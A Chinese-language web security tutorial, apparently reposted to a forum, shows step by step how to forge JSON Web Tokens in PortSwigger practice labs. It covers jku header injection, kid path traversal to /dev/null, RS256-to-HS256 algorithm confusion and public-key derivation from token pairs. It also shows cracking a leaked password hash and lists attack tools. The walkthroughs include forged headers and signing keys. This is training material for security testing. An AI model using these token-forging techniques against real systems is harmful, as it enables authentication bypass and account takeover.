{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab", "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ" }, { "kty": "RSA", "e": "AQAB", "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA", "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw" } ] }
JWK集合有時會通過一個標準端點公開,比如:/.well-known/jwks.json,更安全的網(wǎng)站只會從受信任的域獲取密鑰,但有時您可以利用URL解析差異來繞過這種過濾,下面我們通過一個靶場來實踐以下
靶場地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
Step 1:首先點擊上方的"ACCESS THE LAB"選項卡進入實驗環(huán)境
Step 2:登錄系統(tǒng)
wiener:peter
Step 3:隨后你會看到一個用戶郵箱更新的表單
Step 4:使用burpsuite生成一個新的RSA密鑰
{ "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU", "kty": "RSA", "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8", "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ", "e": "AQAB", "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd", "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks", "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0", "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M", "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w" }
Step 5:發(fā)送請求到repeat
Step 6:復制公鑰作為JWK
{ "kty": "RSA", "e": "AQAB", "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd", "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w" }
Step 7:在題目中選擇"Go eo exploit server",然后加上key頭并保存到exploit的body中
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd", "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w" } ] }
Step 8:然后切換至repeat的"JSON Web Token"界面,將kid修改成自己生成的JWK中的kid值,將jku的值改為exploit
Step 9:切換sub為administrator
Step 10:點擊下面的sign,選擇Don’t modify header模式
Step 11:更改請求路徑發(fā)送請求成功越權(quán)
Step 12:請求敏感路徑刪除carlos用戶
Step 13:成功解題
# 注入場景3
服務(wù)器可能使用幾個密鑰來簽署不同種類的數(shù)據(jù),因此JWT的報頭可能包含kid(密鑰id)參數(shù),這有助于服務(wù)器在驗證簽名時確定使用哪個密鑰,驗證密鑰通常存儲為一個JWK集,在這種情況下服務(wù)器可以簡單地查找與令牌具有相同kid的JWK,然而JWS規(guī)范沒有為這個ID定義具體的結(jié)構(gòu)——它只是開發(fā)人員選擇的任意字符串,例如:它們可能使用kid參數(shù)指向數(shù)據(jù)庫中的特定條目,甚至是文件的名稱,如果這個參數(shù)也容易受到目錄遍歷的攻擊,攻擊者可能會迫使服務(wù)器使用其文件系統(tǒng)中的任意文件作為驗證密鑰,例如:
{ "kid": "../../path/to/file", "typ": "JWT", "alg": "HS256", "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc" }
如果服務(wù)器也支持使用對稱算法簽名的jwt就會特別危險,在這種情況下攻擊者可能會將kid參數(shù)指向一個可預測的靜態(tài)文件,然后使用與該文件內(nèi)容匹配的秘密對JWT進行簽名,從理論上講您可以對任何文件這樣做,但是最簡單的方法之一是使用/dev/null,這在大多數(shù)Linux系統(tǒng)上都存在,由于這是一個空文件,讀取它將返回一個空字符串,因此用空字符串對令牌進行簽名將會產(chǎn)生有效的簽名
靶場地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal
Step 1:點擊上方"Access The Lab"進入靶場
Step 2:登錄靶場
Step 3:登錄后進入到如下郵箱更新界面
Step 4:使用burpsuite的插件生成一個對稱密鑰(Symmetric Key)并將k的值修改為"AA=="即為null
{ "kty": "oct", "kid": "38576880-33b7-4446-ade4-f1a78bb6d5c2", "k": "AA==" }
Step 5:攔截一個請求將其發(fā)送到repeat模塊
Step 6:此時直接訪問/admin——提示"401 Unauthorized"
Step 7:在JSON Web Token界面中修改kid值和sub進行目錄遍歷,這里的"/dev/null"文件名與"AA=="一致都為null,對稱密鑰,所以可以成功繞過
{ "kid": "../../../../../../../dev/null", "alg": "HS256" }
Step 8:點擊sign選擇OCT8 的密鑰攻擊
Step 9:成功越權(quán)
Step 10:調(diào)用敏感接口刪除carlos用戶完成解題
JWT算法混淆
算法混淆
算法混淆攻擊(也稱為密鑰混淆攻擊)是指攻擊者能夠迫使服務(wù)器使用不同于網(wǎng)站開發(fā)人員預期的算法來驗證JSON web令牌(JWT)的簽名,這種情況如果處理不當,攻擊者可能會偽造包含任意值的有效jwt而無需知道服務(wù)器的秘密簽名密鑰
JWT可以使用一系列不同的算法進行簽名,其中一些,例如:HS256(HMAC+SHA-256)使用"對稱"密鑰,這意味著服務(wù)器使用單個密鑰對令牌進行簽名和驗證,顯然這需要像密碼一樣保密
其他算法,例如:RS256(RSA+SHA-256)使用"非對稱"密鑰對,它由一個私鑰和一個數(shù)學上相關(guān)的公鑰組成,私鑰用于服務(wù)器對令牌進行簽名,公鑰可用于驗證簽名,顧名思義,私鑰必須保密,但公鑰通常是共享的,這樣任何人都可以驗證服務(wù)器發(fā)出的令牌的簽名
混淆攻擊
算法混亂漏洞通常是由于JWT庫的實現(xiàn)存在缺陷而導致的,盡管實際的驗證過程因所使用的算法而異,但許多庫都提供了一種與算法無關(guān)的方法來驗證簽名,這些方法依賴于令牌頭中的alg參數(shù)來確定它們應(yīng)該執(zhí)行的驗證類型,下面的偽代碼顯示了一個簡單的示例,說明了這個泛型verify()方法在JWT庫中的聲明:
function verify(token, secretOrPublicKey){ algorithm = token.getAlgHeader(); if(algorithm == "RS256"){ // Use the provided key as an RSA public key } else if (algorithm == "HS256"){ // Use the provided key as an HMAC secret key } }
使用這種方法的網(wǎng)站開發(fā)人員認為它將專門處理使用RS256這樣的非對稱算法簽名的JWT時,問題就出現(xiàn)了,由于這個有缺陷的假設(shè)他們可能總是傳遞一個固定的公鑰給方法,如下所示:
publicKey = <public-key-of-server>; token = request.getCookie("session"); verify(token, publicKey);
在這種情況下如果服務(wù)器接收到使用對稱算法(例如:HS256)簽名的令牌,庫通用verify()方法會將公鑰視為HMAC密鑰,這意味著攻擊者可以使用HS256和公鑰對令牌進行簽名,而服務(wù)器將使用相同的公鑰來驗證簽名(備注:用于簽署令牌的公鑰必須與存儲在服務(wù)器上的公鑰完全相同,這包括使用相同的格式(如X.509 PEM)并保留任何非打印字符,例如:換行符,在實踐中您可能需要嘗試不同的格式才能使這種攻擊奏效)
攻擊流程簡易視圖如下:
攻擊演示
靶場地址:https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion
Step 1:點擊"Access the lab"訪問靶場
Step 2:使用賬戶密碼登錄
Step 3:登錄之后進入到用戶郵箱更新操作界面
Step 4:服務(wù)器有時通過映射到/jwks.json或/.well-known/jwks.json的端點將它們的公鑰公開為JSON Web Key(JWK)對象,比如大家熟知的/jwks.json,這些可能被存儲在一個稱為密鑰的jwk數(shù)組中,這就是眾所周知的JWK集合,即使密鑰沒有公開,您也可以從一對現(xiàn)有的jwt中提取它
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab", "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ" }, { "kty": "RSA", "e": "AQAB", "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA", "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw" } ] }
于是乎我們可以直接訪問/jwks.json接口獲取到服務(wù)器的公鑰信息,在此處我們將JWK復制下來,作為我們第二部的RSA Key
https://0aad003404004c0b817dcff9004c0050.web-security-academy.net/jwks.json
{ "keys": [ { "kty": "RSA", "e": "AQAB", "use": "sig", "kid": "63624c36-bfd8-4146-888e-6d032ad4fe18", "alg": "RS256", "n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw" } ] }
Step 5:在Burpsuite的JWT Editor Keys中點擊"New RSA Key",用之前泄露的JWK而生成一個新的RSA Key
{ "kty": "RSA", "e": "AQAB", "use": "sig", "kid": "63624c36-bfd8-4146-888e-6d032ad4fe18", "alg": "RS256", "n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw" }
Step 6:選中"Copy Public Key as PEM",同時將其進行base64編碼操作,保存一下得到的字符串(備注:上下的一串-----END PUBLIC KEY-----不要刪掉)
-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzsiIsVqAKSpOnOxMKrI0 hT3p8m/NK3VoejFnt4Hx2CFzvJsZ4/9mmoIVwi/nXYr7NtNV7stOSS4MGzYdJ57t 4v83B9h7uI1fdKSp+L+cisg31S0Wm5B/LDnvuABFMcShJ+DKTgEYfLHaG31Judly JdnfgNIIa0XL+wbGh7Xshf8RtzR8FC2DfApX/+KXYNnHxnTKTPXl5unBgCxyny2n 2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY+E2 FXIoPIt8m/VSXlsKyZpjpfXTJJZo/IqazAl1XBW6bjwWjxwee0Xbyt7M1/1dTKja AwIDAQAB -----END PUBLIC KEY-----
base64后結(jié)果:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Step 7:在JWT Editor Keys處,生成新的對稱加密Key,用之前保存的base64編碼去替換k的值
{ "kty": "oct", "kid": "63b7b785-4d35-4cb7-bbc6-9d9e17dcf5fe", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" }
Step 8:捕獲請求數(shù)據(jù)報并將其發(fā)送到repeat模塊
此時直接請求/admin是無法請求到的
Step 9:隨后修改alg為HS256,修改sub為administrator并進行Sign操作
Step 10:重新發(fā)送數(shù)據(jù)包可以看到回顯成功
Step 11:請求敏感連接刪除用戶完成解題
令牌派生公鑰
基本介紹
在公鑰不可用的情況下您仍然可以通過使用jwt _ forgery.py之類的工具從一對現(xiàn)有的JWT中獲取密鑰來測試算法混淆,您可以在rsa_sign2n GitHub存儲庫中找到幾個有用的腳本
https://github.com/silentsignal/rsa_sign2n
簡易示例
靶場地址:
https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key
Step 1:安裝常規(guī)操作登錄登出,再登錄,獲取兩個JWT
隨后將其放到Port提供的docker工具里面運行,運行的命令如下
docker run --rm -it portswigger/sig2n <token1> <token2>
jwt _ forgery.py腳本會輸出一系列token的存在情況值
Step 2:這里我們嘗試每一個Tempered JWT,Port這里給了提示說是X.509 形式的,所以我們只需要將X.509形式的JWT進行驗證即可,當Response回應(yīng)200時代表token是有效的,若為302則代表了重定向,下圖是一個成功的案例
Step 3:將JWT的Base64編碼拿過來先放到記事本里面暫存,在Burpsuite的JWT Editor Keys點擊New Symmetric Key,將上面的Base64編碼拿過來替換此對稱密鑰的k值,生成對稱密鑰之后進行和之前攻擊一致的Sign操作
敏感信息泄露
基本介紹
JWT敏感信息泄露是指攻擊者通過某種方式獲取了JWT中包含的敏感信息,例如:用戶的身份、權(quán)限或其他敏感數(shù)據(jù),這種攻擊可能會導致惡意用戶冒充合法用戶執(zhí)行未經(jīng)授權(quán)的操作或者訪問敏感信息,常見的JWT敏感信息泄露方式包括:
-
竊取JWT:攻擊者通過竊取JWT令牌來獲取其中的敏感信息,這可以通過竊取存儲在客戶端的JWT令牌或者通過攻擊服務(wù)器端的JWT簽名算法來實現(xiàn)
-
竊取載荷:攻擊者可以在傳輸過程中竊取JWT的載荷部分,這可以通過竊聽網(wǎng)絡(luò)流量或者攔截JWT令牌來實現(xiàn)
-
暴力破解:攻擊者可以通過暴力破解JWT簽名算法來獲取JWT中包含的敏感信息
簡易示例
靶場地址:https://authlab.digi.ninja/Leaky_JWT
靶場JWT信息如上所示,而在實戰(zhàn)中我們可以去抓包,如果抓到的數(shù)據(jù)包中有類似這樣的JWT認證那我們就可以直接拿去解密了,我們拿到的數(shù)據(jù)是這樣的:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k
上面是一個標準的JWT認證的格式,其包含Header、Payload、Signature三個部分,每個部分之間又以"."號分割,他這里的JWT認證是經(jīng)過base64加密的,所以我們這里先要拿到base64解密網(wǎng)站去解密一下
https://base64.us/
在這里我們可以看到payload部分的數(shù)據(jù)解密出來后包含password字段信息,后面解出來的是一串MD5數(shù)據(jù),之后我們將其拿到MD5在線解密網(wǎng)站進行解密操作:
隨后得到密碼Password1并使用其作為密碼,使用joe作為用戶名進行登錄操作:
隨后成功登錄:
密鑰硬編碼類
基本介紹
JWT中的密鑰是用于對令牌進行簽名或加密的關(guān)鍵信息,在實現(xiàn)JWT時密鑰通常存儲在應(yīng)用程序代碼中即所謂的"硬編碼",這種做法可能會導致以下安全問題:
-
密鑰泄露:硬編碼的密鑰可以被攻擊者輕松地發(fā)現(xiàn)和竊取,從而導致JWT令牌被篡改或解密,進而導致安全漏洞
-
密鑰管理:硬編碼的密鑰難以進行集中管理,無法靈活地進行密鑰輪換、密鑰失效等操作,從而增加了密鑰管理的難度
-
密鑰復用:硬編碼的密鑰可能會被多個應(yīng)用程序或服務(wù)共享使用,這可能會導致一個應(yīng)用程序出現(xiàn)安全漏洞后,其他應(yīng)用程序也會受到影響
漏洞案例
JWT密鑰硬編碼:
會話續(xù)期
續(xù)期機制
JWT(JSON Web Token)的續(xù)期機制是指在JWT過期之后通過一定的方式來更新JWT令牌,使其可以繼續(xù)使用以減少用戶需要頻繁重新登錄的情況,常見的JWT續(xù)期機制包括:
-
刷新令牌(Refresh Token):在用戶登錄時除了獲取JWT令牌外還會獲取一個刷新令牌,當JWT令牌過期時可以使用刷新令牌來獲取新的JWT令牌,刷新令牌的有效期通常比JWT令牌長并且會在每次使用后更新有效期以確保安全性
-
延長有效期:在JWT令牌過期之前服務(wù)器可以根據(jù)某些條件來判斷是否需要延長JWT令牌的有效期,例如:用戶在活躍狀態(tài)、令牌過期時間較短等,如果滿足條件服務(wù)器將發(fā)送一個新的JWT令牌以替換原來的JWT令牌
-
自動續(xù)期:在使用JWT令牌時服務(wù)器可以檢查JWT令牌的有效期并在需要時自動為其續(xù)期,這通常需要與前端應(yīng)用程序進行配合以確保用戶可以無縫地使用應(yīng)用程序,而不需要重新登錄
續(xù)期問題
無限使用
用戶登錄成功獲取到一個JWT Token,JWT Token由包含算法信息的header和包含用戶非敏感信息的body以及對header和body數(shù)據(jù)簽名后的sing值拼接base64后生成,body中包含用戶token失效時間戳exp(默認1小時)、用戶id標識u
JWT Token有效期為1小時
但是在過期后發(fā)現(xiàn)使用之前過期的JWT Token可以繼續(xù)進行會話操作
Token刷新缺陷
JWT Token在續(xù)期設(shè)計時由于代碼編寫錯誤將新老token更新邏輯設(shè)計錯誤,使得新Token和老Token一致,導致JWT 續(xù)期失敗
測試效果如下:
N個新Token生成
功能測試時發(fā)現(xiàn)JWT Token首次生成時默認失效時120分鐘,續(xù)期業(yè)務(wù)邏輯中僅在JWT Token的后1/3時間,也就是80-120分鐘時進行續(xù)期操作,在此期間用戶的Token會進行刷新操作,使用新的Token請求到服務(wù)器段,服務(wù)器端會返回一個新的JWT Token到前端,供前端使用,但是在續(xù)期期間舊的Token可以無限制生成多個有效的JWT Token,存在一定程度上的被利用風險
工具集合
jwt_tool
項目地址
https://github.com/ticarpi/jwt_tool
主要功能
1、檢查令牌的有效性
2、測試已知漏洞:
CVE-2015-2951:alg=none簽名繞過漏洞
CVE-2016-10555:RS / HS256公鑰不匹配漏洞
CVE-2018-0114:Key injection漏洞
CVE-2019-20933 / CVE-2020-28637:Blank password漏洞
CVE-2020-28042:Null signature漏洞
3、掃描配置錯誤或已知漏洞
4、Fuzz聲明值以引發(fā)意外行為
5、測試secret/key file/public key/ JWKS key的有效性
6、通過高速字典攻擊識別低強度key
7、時間戳篡改
8、RSA和ECDSA密鑰生成和重建(來自JWKS文件)
9、偽造新的令牌頭和有效載荷內(nèi)容,并使用密鑰或通過其他攻擊方法創(chuàng)建新的簽名
使用說明
https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool
MyJWT
項目地址
https://github.com/tyki6/MyJWT/
功能說明
-
copy new jwt to clipboard
-
user Interface (thanks questionary)
-
color output
-
modify jwt (header/Payload)
-
None Vulnerability
-
RSA/HMAC confusion
-
Sign a jwt with key
-
Brute Force to guess key
-
crack jwt with regex to guess key
-
kid injection
-
Jku Bypass
-
X5u Bypass
輔助腳本
腳本地址
https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f
腳本功能
用于利用CRLF漏洞的腳本
-
算法
+關(guān)注
關(guān)注
23文章
4601瀏覽量
92671 -
編碼
+關(guān)注
關(guān)注
6文章
935瀏覽量
54771 -
漏洞
+關(guān)注
關(guān)注
0文章
204瀏覽量
15360
原文標題:JWT滲透姿勢一篇通
文章出處:【微信號:菜鳥學安全,微信公眾號:菜鳥學安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論